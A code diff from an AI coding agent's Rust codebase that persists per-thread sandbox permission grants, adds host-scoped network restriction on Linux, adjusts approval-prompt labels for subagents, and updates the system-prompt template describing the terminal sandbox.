+            sandbox_fallback: self.sandbox_fallback,
+        }
+    }
+
+    /// Rebuild thread grants from the persisted form. Host patterns that no
+    /// longer parse (e.g. after a hand-edit) are dropped with a warning rather
+    /// than failing the whole thread load.
+    pub fn from_db(db: &crate::db::DbSandboxGrants) -> Self {
+        let mut network_hosts = Vec::new();
+        for raw in &db.network_hosts {
+            match HostPattern::parse(raw) {
+                Ok(pattern) => insert_host_pattern(&mut network_hosts, pattern),
+                Err(error) => {
+                    log::warn!("ignoring invalid persisted sandbox network host '{raw}': {error}")
+                }
+            }
+        }
+        Self {
+            network_any_host: db.network_any_host,
+            network_hosts,
+            allow_git_access: db.allow_git_access,
+            allow_fs_write_all: db.allow_fs_write_all,
+            unsandboxed: db.unsandboxed,
+            sandbox_fallback: db.sandbox_fallback,
+            write_paths: db.write_paths.clone(),
+        }
+    }
+
     /// Record everything in `request` as granted for the rest of the thread,
     /// pruning entries that become redundant.
     pub fn record(&mut self, request: &SandboxRequest) {
@@ -382,6 +640,188 @@ mod tests {
         }
     }
 
+    #[test]
+    fn thread_sandbox_merge_unsandboxed_wins_else_unions_scopes() {
+        let policy = |paths: &[&str], hosts: &[&str]| SandboxPolicy {
+            fs: SandboxFsPolicy::Restricted {
+                writable_paths: paths.iter().map(PathBuf::from).collect(),
+            },
+            network: if hosts.is_empty() {
+                SandboxNetPolicy::Blocked
+            } else {
+                SandboxNetPolicy::Restricted {
+                    allowed_domains: hosts.iter().map(|h| h.to_string()).collect(),
+                }
+            },
+            git: GitSandboxPolicy::default(),
+        };
+
+        // Unsandboxed on either side wins — the agent runs with ambient access.
+        assert!(
+            ThreadSandbox::Unsandboxed
+                .merge(ThreadSandbox::Sandboxed(policy(&["/a"], &["a.com"])))
+                .is_unsandboxed()
+        );
+        assert!(
+            ThreadSandbox::Sandboxed(policy(&["/a"], &["a.com"]))
+                .merge(ThreadSandbox::Unsandboxed)
+                .is_unsandboxed()
+        );
+
+        // Two sandboxed layers union their scopes.
+        assert_eq!(
+            ThreadSandbox::Sandboxed(policy(&["/a"], &["a.com"]))
+                .merge(ThreadSandbox::Sandboxed(policy(&["/b"], &["b.com"]))),
+            ThreadSandbox::Sandboxed(policy(&["/a", "/b"], &["a.com", "b.com"]))
+        );
+    }
+
+    #[test]
+    fn settings_thread_sandbox_reflects_allow_unsandboxed() {
+        let unsandboxed = SandboxPermissions {
+            allow_unsandboxed: true,
+            ..Default::default()
+        };
+        assert!(settings_thread_sandbox(&unsandboxed).is_unsandboxed());
+        assert!(matches!(
+            settings_thread_sandbox(&SandboxPermissions::default()),
+            ThreadSandbox::Sandboxed(_)
+        ));
+    }
+
+    #[test]
+    fn thread_grants_sandbox_reflects_unsandboxed_grant() {
+        let mut grants = ThreadSandboxGrants::default();
+        assert!(matches!(
+            grants.thread_sandbox(),
+            ThreadSandbox::Sandboxed(_)
+        ));
+        grants.record(&unsandboxed_request());
+        assert!(grants.thread_sandbox().is_unsandboxed());
+    }
+
+    #[test]
+    fn grants_roundtrip_through_db_form() {
+        let mut grants = ThreadSandboxGrants::default();
+        grants.record(&request(
+            hosts(&["github.com", "*.npmjs.org"]),
+            false,
+            &["/tmp/build"],
+        ));
+        grants.record(&unsandboxed_request());
+
+        let restored = ThreadSandboxGrants::from_db(&grants.to_db());
+
+        // The restored grants cover exactly what the originals did.
+        assert!(covers(
+            &restored,
+            &request(hosts(&["api.npmjs.org"]), false, &["/tmp/build/cache"])
+        ));
+        assert!(covers(&restored, &unsandboxed_request()));
+        assert_eq!(restored.network_hosts, grants.network_hosts);
+        assert_eq!(restored.write_paths, grants.write_paths);
+        assert_eq!(restored.unsandboxed, grants.unsandboxed);
+    }
+
+    #[test]
+    fn db_form_preserves_any_host_and_write_all() {
+        let mut grants = ThreadSandboxGrants::default();
+        grants.record(&request(NetworkRequest::AnyHost, true, &[]));
+
+        let restored = ThreadSandboxGrants::from_db(&grants.to_db());
+        assert!(restored.network_any_host);
+        assert!(restored.allow_fs_write_all);
+        assert!(covers(
+            &restored,
+            &request(NetworkRequest::AnyHost, true, &["/anywhere"])
+        ));
+    }
+
+    #[test]
+    fn thread_grants_to_policy_maps_paths_and_domains() {
+        use sandbox::{SandboxFsPolicy, SandboxNetPolicy};
+
+        let mut grants = ThreadSandboxGrants::default();
+        grants.record(&request(hosts(&["github.com"]), false, &["/tmp/build"]));
+        let policy = grants.to_policy();
+        assert_eq!(
+            policy.fs,
+            SandboxFsPolicy::Restricted {
+                writable_paths: vec![PathBuf::from("/tmp/build")]
+            }
+        );
+        assert_eq!(
+            policy.network,
+            SandboxNetPolicy::Restricted {
+                allowed_domains: vec!["github.com".to_string()]
+            }
+        );
+
+        // No grants at all: writes restricted to nothing, network blocked.
+        let empty = ThreadSandboxGrants::default().to_policy();
+        assert_eq!(
+            empty.fs,
+            SandboxFsPolicy::Restricted {
+                writable_paths: Vec::new()
+            }
+        );
+        assert_eq!(empty.network, SandboxNetPolicy::Blocked);
+
+        // The broad escapes map to the unrestricted variants.
+        let mut broad = ThreadSandboxGrants::default();
+        broad.record(&request(NetworkRequest::AnyHost, true, &[]));
+        let policy = broad.to_policy();
+        assert_eq!(policy.fs, SandboxFsPolicy::Unrestricted);
+        assert_eq!(policy.network, SandboxNetPolicy::Unrestricted);
+    }
+
+    #[test]
+    fn settings_policy_maps_persistent_permissions() {
+        use sandbox::{SandboxFsPolicy, SandboxNetPolicy};
+
+        let persistent = SandboxPermissions {
+            write_paths: vec![PathBuf::from("/var/log")],
+            network_hosts: vec!["*.npmjs.org".to_string()],
+            ..Default::default()
+        };
+        let policy = settings_sandbox_policy(&persistent);
+        assert_eq!(
+            policy.fs,
+            SandboxFsPolicy::Restricted {
+                writable_paths: vec![PathBuf::from("/var/log")]
+            }
+        );
+        assert_eq!(
+            policy.network,
+            SandboxNetPolicy::Restricted {
+                allowed_domains: vec!["*.npmjs.org".to_string()]
+            }
+        );
+
+        let unrestricted = SandboxPermissions {
+            allow_all_hosts: true,
+            allow_fs_write_all: true,
+            ..Default::default()
+        };
+        let policy = settings_sandbox_policy(&unrestricted);
+        assert_eq!(policy.fs, SandboxFsPolicy::Unrestricted);
+        assert_eq!(policy.network, SandboxNetPolicy::Unrestricted);
+    }
+
+    #[test]
+    fn db_form_drops_unparsable_persisted_hosts() {
+        let db = crate::db::DbSandboxGrants {
+            // IP literals are explicitly rejected by the host-pattern parser.
+            network_hosts: vec!["github.com".to_string(), "10.0.0.1".to_string()],
+            ..Default::default()
+        };
+        let restored = ThreadSandboxGrants::from_db(&db);
+        assert_eq!(
+            restored.network_hosts,
+            vec![HostPattern::parse("github.com").unwrap()]
+        );
+    }
+
     fn covers(grants: &ThreadSandboxGrants, request: &SandboxRequest) -> bool {
         grants.covers_with_persistent(request, &SandboxPermissions::default())
     }
diff --git a/crates/agent/src/templates/system_prompt.hbs b/crates/agent/src/templates/system_prompt.hbs
index 025fe464241fd5..ef31bc0a3616b7 100644
--- a/crates/agent/src/templates/system_prompt.hbs
+++ b/crates/agent/src/templates/system_prompt.hbs
@@ -183,14 +183,6 @@ The `terminal` tool runs commands inside a sandbox with these permissions:
 {{/if}}
 - Network: outbound network access is blocked.
 
-{{#if is_linux}}
-The sandbox can only allow or block outbound network access as a whole — it cannot restrict access to specific hosts. There is no HTTP/HTTPS proxy, so once network access is granted SSH, FTP, and raw sockets work too.
-
-You can request elevated permissions on individual `terminal` calls:
-
-- `allow_all_hosts: true` — allow unrestricted outbound network access. On this platform this is the only way to grant network access.
-- `allow_hosts: ["github.com", ...]` — accepted, but on this platform listing hosts grants unrestricted outbound network access (identical to `allow_all_hosts`), because per-host restriction can't be enforced. Prefer `allow_all_hosts` so the request is explicit.
-{{else}}
 {{#if is_windows}}
 The sandbox can only allow or block outbound network access as a whole — it cannot restrict access to specific hosts. There is no HTTP/HTTPS proxy, so once network access is granted SSH, FTP, and raw sockets work too.
 
@@ -199,13 +191,12 @@ You can request elevated permissions on individual `terminal` calls:
 - `allow_all_hosts: true` — allow unrestricted outbound network access. On this platform this is the only way to grant network access.
 - `allow_hosts: ["github.com", ...]` — accepted, but on this platform listing hosts grants unrestricted outbound network access (identical to `allow_all_hosts`), because per-host restriction can't be enforced. Prefer `allow_all_hosts` so the request is explicit.
 {{else}}
-Network access works through an HTTP/HTTPS proxy (standard proxy environment variables are set for the command). Tools that don't honor proxy environment variables (SSH, FTP, raw sockets, etc.) can't reach the network even when access is granted, so use `https://` URLs instead of `git@`/`ssh://` when cloning or pushing.
+Host-scoped network access works through an HTTP/HTTPS proxy (standard proxy environment variables are set for the command). When access is scoped to specific hosts, tools that don't honor proxy environment variables (SSH, FTP, raw sockets, etc.) can't reach them, so use `https://` URLs instead of `git@`/`ssh://` when cloning or pushing.
 
 You can request elevated permissions on individual `terminal` calls:
 
 - `allow_hosts: ["github.com", "*.npmjs.org"]` — allow outbound HTTP/HTTPS to specific hosts (exact hostnames or leading-`*.` subdomain wildcards; no IP literals). Prefer this whenever you know which hosts the command needs.
-- `allow_all_hosts: true` — allow outbound HTTP/HTTPS to any host. Use only when the specific hosts can't be enumerated up front.
-{{/if}}
+- `allow_all_hosts: true` — lift the network restriction entirely: outbound access to any host over any protocol, so SSH, FTP, and raw sockets work too (unlike `allow_hosts`, which is HTTP/HTTPS-only). Use only when the specific hosts can't be enumerated up front.
 {{/if}}
 - `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write.
 - `allow_git_access: true` — lift the default block on Git metadata, allowing reads and writes of file contents under `.git` directories (including worktree metadata that may live outside the project directories). Any command that touches `.git` needs this, including ones that invoke Git only incidentally (e.g. build scripts calling `git describe`/`git rev-parse`, or commit hooks). When approved, the inherited SSH agent socket also becomes reachable for SSH-based Git commit signing (local Unix-socket IPC only — it does not allow packet-sending network access); GPG commit signing via gpg-agent is not available in the sandbox.
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 9e4adfc39bb0f6..975aacdaeaabbc 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -11,7 +11,10 @@ use acp_thread::{MentionUri, UserMessageId};
 use action_log::ActionLog;
 use agent_settings::UserAgentsMd;
 
-use crate::sandboxing::{SandboxRequest, ThreadSandboxGrants, sandboxing_enabled_for_project};
+use crate::sandboxing::{
+    SandboxRequest, ThreadSandbox, ThreadSandboxGrants, sandboxing_available_for_project,
+    sandboxing_enabled_for_project,
+};
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::{
     AgentProfileId, AgentSettings, AutoCompactThreshold, COMPACTION_PROMPT,
@@ -1583,6 +1586,7 @@ impl Thread {
                 Some(self.project.read(cx).fs().clone()),
                 cancellation_rx,
                 self.sandbox_grants.clone(),
+                Some(cx.weak_entity()),
             );
             tool.replay(tool_use.input.clone(), output, tool_event_stream, cx)
                 .log_err();
@@ -1739,10 +1743,57 @@ impl Thread {
             running_subagents: Vec::new(),
             inherits_parent_model_settings: true,
             sandboxed_terminal_temp_dir: db_thread.sandboxed_terminal_temp_dir,
-            sandbox_grants: Rc::new(RefCell::new(ThreadSandboxGrants::default())),
+            sandbox_grants: Rc::new(RefCell::new(ThreadSandboxGrants::from_db(
+                &db_thread.sandbox_grants,
+            ))),
         }
     }
 
+    /// The sandbox that currently applies to agent terminal commands in this
+    /// thread, as two layers: the user's persistent settings and this thread's
+    /// overrides (see [`ThreadSandbox`]). Returns `None` when sandboxing isn't
+    /// applicable to the project at all, so the UI shows no indicator.
+    ///
+    /// The layers are returned pre-merge so the UI can show their provenance
+    /// separately; [`ThreadSandbox::merge`] combines them into what is enforced.
+    pub fn sandbox_status(&self, cx: &App) -> Option<(ThreadSandbox, ThreadSandbox)> {
+        if !self.sandboxing_available(cx) {
+            return None;
+        }
+        let persistent = AgentSettings::get_global(cx).sandbox_permissions.clone();
+        // The project's `.git` locations are the same for both layers; whether
+        // they're writable differs (settings grant vs. thread grant).
+        let git_dirs = crate::sandboxing::sandbox_git_dirs(self.project.read(cx), cx);
+        let grants = self.sandbox_grants.borrow();
+        let settings = crate::sandboxing::settings_thread_sandbox(&persistent)
+            .with_git(persistent.allow_git_access, git_dirs.clone());
+        let thread = grants
+            .thread_sandbox()
+            .with_git(grants.git_access_granted(), git_dirs);
+        Some((settings, thread))
+    }
+
+    /// Whether agent terminal commands are sandboxed for this thread's project,
+    /// so the UI can decide whether to surface the sandbox status at all.
+    pub fn sandboxing_enabled(&self, cx: &App) -> bool {
+        sandboxing_enabled_for_project(self.project.read(cx), cx)
+    }
+
+    /// Whether sandboxing is *applicable* for this thread's project (feature on,
+    /// local project, supported platform), regardless of whether it's been
+    /// turned off in settings. The UI shows the sandbox indicator whenever this
+    /// is true, drawing it struck-out when sandboxing is disabled.
+    pub fn sandboxing_available(&self, cx: &App) -> bool {
+        sandboxing_available_for_project(self.project.read(cx), cx)
+    }
+
+    /// The directory subtrees the sandbox always grants write access to for this
+    /// thread's project (its worktree roots), derived from the same source the
+    /// terminal tool uses when it actually builds the sandbox.
+    pub fn sandbox_baseline_writable_paths(&self, cx: &App) -> Vec<PathBuf> {
+        crate::sandboxing::sandbox_worktree_writable_paths(self.project.read(cx), cx)
+    }
+
     pub fn to_db(&self, cx: &App) -> Task<DbThread> {
         let initial_project_snapshot = self.initial_project_snapshot.clone();
         let mut thread = DbThread {
@@ -1768,6 +1819,7 @@ impl Thread {
                 }
             }),
             sandboxed_terminal_temp_dir: self.sandboxed_terminal_temp_dir.clone(),
+            sandbox_grants: self.sandbox_grants.borrow().to_db(),
         };
 
         cx.background_spawn(async move {
@@ -3322,6 +3374,7 @@ impl Thread {
             Some(fs),
             cancellation_rx,
             self.sandbox_grants.clone(),
+            Some(cx.weak_entity()),
         );
         tool_event_stream.update_fields(
             acp::ToolCallUpdateFields::new().status(acp::ToolCallStatus::InProgress),
@@ -5084,6 +5137,10 @@ pub struct ToolCallEventStream {
     cancellation_rx: watch::Receiver<bool>,
     /// Shared, thread-scoped sandbox grants (see [`Thread::sandbox_grants`]).
     sandbox_grants: Rc<RefCell<ThreadSandboxGrants>>,
+    /// The owning thread, used to trigger a save when a "for this thread"
+    /// sandbox grant is recorded so it survives reopening. `None` in tests and
+    /// for streams not tied to a live thread.
+    thread: Option<WeakEntity<Thread>>,
 }
 
 impl ToolCallEventStream {
@@ -5097,9 +5154,7 @@ impl ToolCallEventStream {
     /// thread-scoped sandbox grants. This mirrors how a real [`Thread`] builds a
     /// distinct event stream per tool call while sharing one set of grants, so
     /// tests can exercise sequences of tool calls within the same conversation.
-    // Only the macOS-gated terminal sandbox regression test uses this, so match
-    // its `cfg` to avoid a dead-code error on other platforms.
-    #[cfg(all(test, target_os = "macos"))]
+    #[cfg(test)]
     pub(crate) fn test_with_grants(
         sandbox_grants: Rc<RefCell<ThreadSandboxGrants>>,
     ) -> (Self, ToolCallEventStreamReceiver) {
@@ -5112,6 +5167,7 @@ impl ToolCallEventStream {
             None,
             cancellation_rx,
             sandbox_grants,
+            None,
         );
 
         (stream, ToolCallEventStreamReceiver(events_rx))
@@ -5128,6 +5184,7 @@ impl ToolCallEventStream {
             None,
             cancellation_rx,
             Rc::new(RefCell::new(ThreadSandboxGrants::default())),
+            None,
         );
 
         (
@@ -5149,6 +5206,7 @@ impl ToolCallEventStream {
         fs: Option<Arc<dyn Fs>>,
         cancellation_rx: watch::Receiver<bool>,
         sandbox_grants: Rc<RefCell<ThreadSandboxGrants>>,
+        thread: Option<WeakEntity<Thread>>,
     ) -> Self {
         Self {
             tool_use_id,
@@ -5156,9 +5214,29 @@ impl ToolCallEventStream {
             fs,
             cancellation_rx,
             sandbox_grants,
+            thread,
         }
     }
 
+    /// Whether the owning thread is a subagent, so prompts can say "for this
+    /// subagent" instead of "for this thread".
+    fn is_subagent(&self, cx: &App) -> bool {
+        self.thread
+            .as_ref()
+            .and_then(|thread| thread.upgrade())
+            .is_some_and(|thread| thread.read(cx).is_subagent())
+    }
+
+    /// Persist the thread so a freshly recorded "for this thread" sandbox grant
+    /// survives a reopen. Saving is driven by the agent's `observe` on the
+    /// thread entity, so a no-op `notify` is enough to schedule it.
+    fn persist_thread_grants(thread: &Option<WeakEntity<Thread>>, cx: &AsyncApp) {
+        let Some(thread) = thread else { return };
+        cx.update(|cx| {
+            thread.update(cx, |_thread, cx| cx.notify()).ok();
+        });
+    }
+
     /// Returns a future that resolves when the user cancels the tool call.
     /// Tools should select on this alongside their main work to detect user cancellation.
     pub fn cancelled_by_user(&self) -> impl std::future::Future<Output = ()> + '_ {
@@ -5349,8 +5427,6 @@ impl ToolCallEventStream {
     /// settings-driven authorization flow for regular tools.
     pub(crate) fn authorize_sandbox(
         &self,
-        title: impl Into<String>,
-        command: Option<String>,
         request: SandboxRequest,
         reason: String,
         cx: &mut App,
@@ -5359,7 +5435,6 @@ impl ToolCallEventStream {
             return Task::ready(Ok(()));
         }
 
-        let title = title.into();
         let (network_hosts, network_all_hosts) = match &request.network {
             crate::sandboxing::NetworkRequest::None => (Vec::new(), false),
             crate::sandboxing::NetworkRequest::AnyHost => (Vec::new(), true),
@@ -5368,7 +5443,10 @@ impl ToolCallEventStream {
             }
         };
         let sandbox_authorization_details = acp_thread::SandboxAuthorizationDetails {
-            command,
+            // The command stays in the tool-call title (set by the terminal
+            // tool), so the approval card keeps showing it; the details only
+            // describe the requested access and the agent's reason.
+            command: None,
             network_hosts,
             network_all_hosts,
             allow_git_access: request.allow_git_access,
@@ -5377,6 +5455,11 @@ impl ToolCallEventStream {
             write_paths: request.write_paths.clone(),
             reason,
         };
+        let allow_thread_label = if self.is_subagent(cx) {
+            "Allow for this subagent"
+        } else {
+            "Allow for this thread"
+        };
         let options = acp_thread::PermissionOptions::Flat(vec![
             acp::PermissionOption::new(
                 acp::PermissionOptionId::new(acp_thread::SandboxPermission::AllowOnce.as_id()),
@@ -5385,7 +5468,7 @@ impl ToolCallEventStream {
             ),
             acp::PermissionOption::new(
                 acp::PermissionOptionId::new(acp_thread::SandboxPermission::AllowThread.as_id()),
-                "Allow for this thread",
+                allow_thread_label,
                 acp::PermissionOptionKind::AllowAlways,
             ),
             acp::PermissionOption::new(
@@ -5404,6 +5487,7 @@ impl ToolCallEventStream {
         let stream = self.stream.clone();
         let tool_use_id = self.tool_use_id.clone();
         let sandbox_grants = self.sandbox_grants.clone();
+        let thread = self.thread.clone();
         let auto_allow_outcome = match auto_resolve_permission_outcome(&options, true) {
             Ok(outcome) => outcome,
             Err(error) => return Task::ready(Err(error)),
@@ -5416,7 +5500,9 @@ impl ToolCallEventStream {
                     ToolCallAuthorization {
                         tool_call: acp::ToolCallUpdate::new(
                             tool_use_id.to_string(),
-                            acp::ToolCallUpdateFields::new().title(title),
+                            // Leave the title untouched so the card keeps
+                            // showing the command (matching the fallback flow).
+                            acp::ToolCallUpdateFields::new(),
                         )
                         .meta(acp_thread::meta_with_sandbox_authorization(
                             sandbox_authorization_details,
@@ -5453,6 +5539,7 @@ impl ToolCallEventStream {
                             &outcome,
                             &request,
                             sandbox_grants.clone(),
+                            thread.clone(),
                             fs.clone(),
                             cx,
                         );
@@ -5491,6 +5578,7 @@ impl ToolCallEventStream {
         outcome: &acp_thread::SelectedPermissionOutcome,
         request: &SandboxRequest,
         sandbox_grants: Rc<RefCell<ThreadSandboxGrants>>,
+        thread: Option<WeakEntity<Thread>>,
         fs: Option<Arc<dyn Fs>>,
         cx: &AsyncApp,
     ) -> Result<()> {
@@ -5503,6 +5591,7 @@ impl ToolCallEventStream {
             Some(acp_thread::SandboxPermission::AllowOnce) => Ok(()),
             Some(acp_thread::SandboxPermission::AllowThread) => {
                 sandbox_grants.borrow_mut().record(request);
+                Self::persist_thread_grants(&thread, cx);
                 Ok(())
             }
             Some(acp_thread::SandboxPermission::AllowAlways) => {
@@ -5604,6 +5693,13 @@ impl ToolCallEventStream {
         self.sandbox_grants.borrow().fallback_granted_for_thread()
     }
 
+    /// Whether the user approved a model-requested `unsandboxed: true` escape
+    /// for the rest of this thread. Like the fallback grant, this makes every
+    /// command in the thread run without a sandbox.
+    pub(crate) fn unsandboxed_granted_for_thread(&self) -> bool {
+        self.sandbox_grants.borrow().unsandboxed_granted()
+    }
+
     /// Ask the user how to proceed when the OS sandbox could not be created
     /// for a command (for example, `bwrap` is missing or user namespaces are
     /// disabled).
@@ -5634,6 +5730,11 @@ impl ToolCallEventStream {
         } else {
             format!("Retry (attempt {retries})")
         };
+        let allow_thread_label = if self.is_subagent(cx) {
+            "Run without sandbox for this subagent"
+        } else {
+            "Run without sandbox for this thread"
+        };
         let options = acp_thread::PermissionOptions::Flat(vec![
             // Retry isn't an allow/deny choice; the UI renders it with its own
             // icon and we dispatch on the option id, so the kind here only
@@ -5652,7 +5753,7 @@ impl ToolCallEventStream {
             ),
             acp::PermissionOption::new(
                 acp::PermissionOptionId::new(acp_thread::SandboxPermission::AllowThread.as_id()),
-                "Run without sandbox for this thread",
+                allow_thread_label,
                 acp::PermissionOptionKind::AllowAlways,
             ),
             acp::PermissionOption::new(
@@ -5671,6 +5772,7 @@ impl ToolCallEventStream {
         let stream = self.stream.clone();
         let tool_use_id = self.tool_use_id.clone();
         let sandbox_grants = self.sandbox_grants.clone();
+        let thread = self.thread.clone();
         cx.spawn(async move |cx| {
             let (response_tx, response_rx) = oneshot::channel();
             if let Err(error) = stream
@@ -5716,10 +5818,12 @@ impl ToolCallEventStream {
                 }
                 Some(acp_thread::SandboxPermission::AllowThread) => {
                     sandbox_grants.borrow_mut().record_fallback();
+                    Self::persist_thread_grants(&thread, cx);
                     Ok(SandboxFallbackDecision::RunUnsandboxed)
                 }
                 Some(acp_thread::SandboxPermission::AllowAlways) => {
                     sandbox_grants.borrow_mut().record_fallback();
+                    Self::persist_thread_grants(&thread, cx);
                     Self::persist_sandbox_unsandboxed_permission(fs, cx);
                     Ok(SandboxFallbackDecision::RunUnsandboxed)
                 }
@@ -7196,8 +7300,6 @@ mod tests {
 
         let authorize = cx.update(|cx| {
             event_stream.authorize_sandbox(
-                "Allow write access?",
-                None,
                 request.clone(),
                 "needs to write build artifacts".to_string(),
                 cx,
diff --git a/crates/agent/src/thread_store.rs b/crates/agent/src/thread_store.rs
index bf483e428bbc96..97ae2bf5aa2782 100644
--- a/crates/agent/src/thread_store.rs
+++ b/crates/agent/src/thread_store.rs
@@ -168,6 +168,7 @@ mod tests {
             draft_prompt: None,
             ui_scroll_position: None,
             sandboxed_terminal_temp_dir: None,
+            sandbox_grants: Default::default(),
         }
     }
 
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index 9974642d5e6bfa..5282019cc00187 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -110,17 +110,16 @@ pub struct SandboxedTerminalToolInput {
     /// rejected. Requesting network access triggers a user approval prompt, so
     /// only list hosts you expect the command to need.
     #[cfg_attr(
-        target_os = "macos",
+        any(target_os = "macos", target_os = "linux"),
         doc = "\nHost-specific access is enforced by an HTTP/HTTPS proxy, so use \
         `https://` URLs rather than `git@`/`ssh://`."
     )]
     #[cfg_attr(
-        any(target_os = "linux", target_os = "windows"),
-        doc = "\nNOTE: on Linux and Windows the sandbox cannot restrict network access to \
-        specific hosts. Any value here grants the command unrestricted outbound network \
-        access (exactly like `allow_all_hosts`), and the user is asked to approve access \
-        to all hosts rather than the ones you list. Prefer setting `allow_all_hosts` \
-        directly when per-host restriction isn't available."
+        target_os = "windows",
+        doc = "\nNOTE: on Windows the sandbox cannot currently restrict network \
+        access to specific hosts. Do not set `allow_hosts` on Windows; request \
+        `allow_all_hosts: true` if the command needs network access, or omit \
+        network permissions entirely."
     )]
     #[serde(default)]
     pub allow_hosts: Vec<String>,
@@ -161,12 +160,14 @@ pub struct SandboxedTerminalToolInput {
     /// set of paths is known. Requesting it triggers a user approval prompt.
     #[serde(default, alias = "allow_fs_write")]
     pub allow_fs_write_all: Option<bool>,
-    /// Set to `true` when the command needs Git metadata access.
+    /// Set to `true` when the command needs to read or write protected Git
+    /// metadata.
     ///
-    /// Sandboxed commands cannot read file contents from, or write to, protected
-    /// `.git` paths for opened worktrees and discovered repositories by default.
-    /// Set this for Git operations that need those paths. Requesting it
-    /// triggers a user approval prompt.
+    /// By default sandboxed commands can't read the file contents of, or write
+    /// to, the `.git` directories of opened worktrees and discovered
+    /// repositories (their metadata stays visible). Set this for Git operations
+    /// that need those paths (commit, fetch, rebase, …). Requesting it triggers
+    /// a user approval prompt.
     #[serde(default)]
     pub allow_git_access: Option<bool>,
     /// Set to `true` only as a last resort, to run the command fully outside
@@ -188,9 +189,8 @@ pub struct SandboxedTerminalToolInput {
     #[serde(default)]
     pub unsandboxed: Option<bool>,
     /// A short justification for why this command needs the sandbox
-    /// permission(s) it requests (`allow_hosts`, `allow_all_hosts`,
-    /// `fs_write_paths`, `allow_fs_write_all`, `allow_git_access`, or
-    /// `unsandboxed`).
+    /// permission(s) it requests (`allow_network`, `fs_write_paths`,
+    /// `allow_fs_write_all`, or `unsandboxed`).
     ///
     /// Required whenever you request any of those permissions; omit it for
     /// ordinary commands that request none. Write it in your own voice — it
@@ -393,31 +393,101 @@ async fn run_terminal_tool(
 
     authorize.await.map_err(|e| e.to_string())?;
 
-    let want_git_access = sandboxing && sandbox_input.allow_git_access == Some(true);
     let want_fs_write_all = sandboxing && sandbox_input.allow_fs_write_all == Some(true);
     let want_unsandboxed = sandboxing && sandbox_input.unsandboxed == Some(true);
+    let want_all_hosts = sandboxing && sandbox_input.allow_all_hosts == Some(true);
+    let want_git_access = sandboxing && sandbox_input.allow_git_access == Some(true);
+
+    let persistent = cx.update(|cx| {
+        agent_settings::AgentSettings::get_global(cx)
+            .sandbox_permissions
+            .clone()
+    });
+
+    // Standing permissions the user already approved — in settings or "for this
+    // thread" — that every command in the thread inherits and that the model
+    // cannot narrow. The actually-enforced policy is always at least this
+    // permissive, so a request asking for something *more* restrictive would be
+    // silently widened to the floor and mislead the model about its real access.
+    // Reject such requests with an explanation instead of running them.
+    let floor = event_stream
+        .effective_sandbox_request(&crate::sandboxing::SandboxRequest::default(), &persistent);
+    let unsandboxed_floor = sandboxing
+        && (event_stream.unsandboxed_granted_for_thread()
+            || event_stream.sandbox_fallback_granted_for_thread());
+    let fs_unrestricted_floor = sandboxing && floor.allow_fs_write_all;
+    let net_unrestricted_floor = sandboxing && matches!(floor.network, NetworkRequest::AnyHost);
+
+    if sandboxing && !want_unsandboxed {
+        if unsandboxed_floor {
+            // The user turned the sandbox off for this thread, so every command
+            // runs without one and no sandbox-scoping field can take effect.
+            // Name exactly which ones the model set so it can drop them.
+            let mut ineffective = Vec::new();
+            if !sandbox_input.allow_hosts.is_empty() {
+                ineffective.push("`allow_hosts`");
+            }
+            if sandbox_input.allow_all_hosts == Some(true) {
+                ineffective.push("`allow_all_hosts`");
+            }
+            if !sandbox_input.fs_write_paths.is_empty() {
+                ineffective.push("`fs_write_paths`");
+            }
+            if sandbox_input.allow_fs_write_all == Some(true) {
+                ineffective.push("`allow_fs_write_all`");
+            }
+            if !ineffective.is_empty() {
+                return Err(format!(
+                    "Sandboxing is disabled for this thread, so every command runs without an OS \
+                     sandbox and these fields have no effect: {}. Remove them and rerun the \
+                     command (it will run unsandboxed), or pass `unsandboxed: true` to acknowledge \
+                     it runs without a sandbox.",
+                    ineffective.join(", "),
+                ));
+            }
+        } else {
+            if fs_unrestricted_floor
+                && !want_fs_write_all
+                && !sandbox_input.fs_write_paths.is_empty()
+            {
+                return Err(
+                    "Unrestricted filesystem writes are enabled for this thread, so every command \
+                     can already write anywhere; `fs_write_paths` cannot narrow that. Remove \
+                     `fs_write_paths`."
+                        .to_string(),
+                );
+            }
+            if net_unrestricted_floor && !want_all_hosts && !sandbox_input.allow_hosts.is_empty() {
+                return Err(
+                    "Unrestricted network access is enabled for this thread, so every command can \
+                     already reach any host; `allow_hosts` cannot narrow that. Remove `allow_hosts`."
+                        .to_string(),
+                );
+            }
+        }
+    }
 
     // Validate the model-supplied host patterns up front. Malformed input is
     // the model's responsibility, so surface it back as a tool-call error
     // (the model retries) rather than letting the user approve a request that
     // then fails.
-    let mut network = if sandboxing && !want_unsandboxed {
+    let network = if sandboxing && !want_unsandboxed {
         build_network_request(&sandbox_input)?
     } else {
         NetworkRequest::None
     };
 
     // Host-specific network access is enforced by a loopback proxy that
-    // confines the sandbox to its port, and only macOS can do that. A
-    // non-local project's terminal can't reach the proxy, and the Linux
-    // sandbox (bwrap) has no host-restriction mechanism at all — it can only
-    // allow or deny the network wholesale. Whenever per-host restriction
-    // isn't enforceable, widen the request to "any host" before prompting, so
-    // the approval the user grants matches what's actually enforced
-    // (unrestricted egress) rather than naming hosts we can't pin.
-    let can_restrict_to_hosts = cfg!(target_os = "macos") && is_local_project;
-    if !can_restrict_to_hosts && network.is_requested() {
-        network = NetworkRequest::AnyHost;
+    // confines the sandbox to its port. A non-local project's terminal can't
+    // reach the proxy, and Windows does not support this path yet. Reject the
+    // narrower request rather than silently widening it to all-host access.
+    let can_restrict_to_hosts =
+        (cfg!(target_os = "macos") || cfg!(target_os = "linux")) && is_local_project;
+    if !can_restrict_to_hosts && matches!(network, NetworkRequest::Hosts(_)) {
+        return Err(
+            "This platform or project cannot restrict sandboxed network access to specific hosts. Use `allow_all_hosts: true` if the command needs network access."
+                .to_string(),
+        );
     }
 
     let write_paths: Vec<PathBuf> = if sandboxing && !want_unsandboxed {
@@ -472,11 +542,8 @@ async fn run_terminal_tool(
                     .to_string(),
             );
         };
-        let title = sandbox_approval_title(&request);
-        let command = Some(input.command.clone());
-        let approve = cx.update(|cx| {
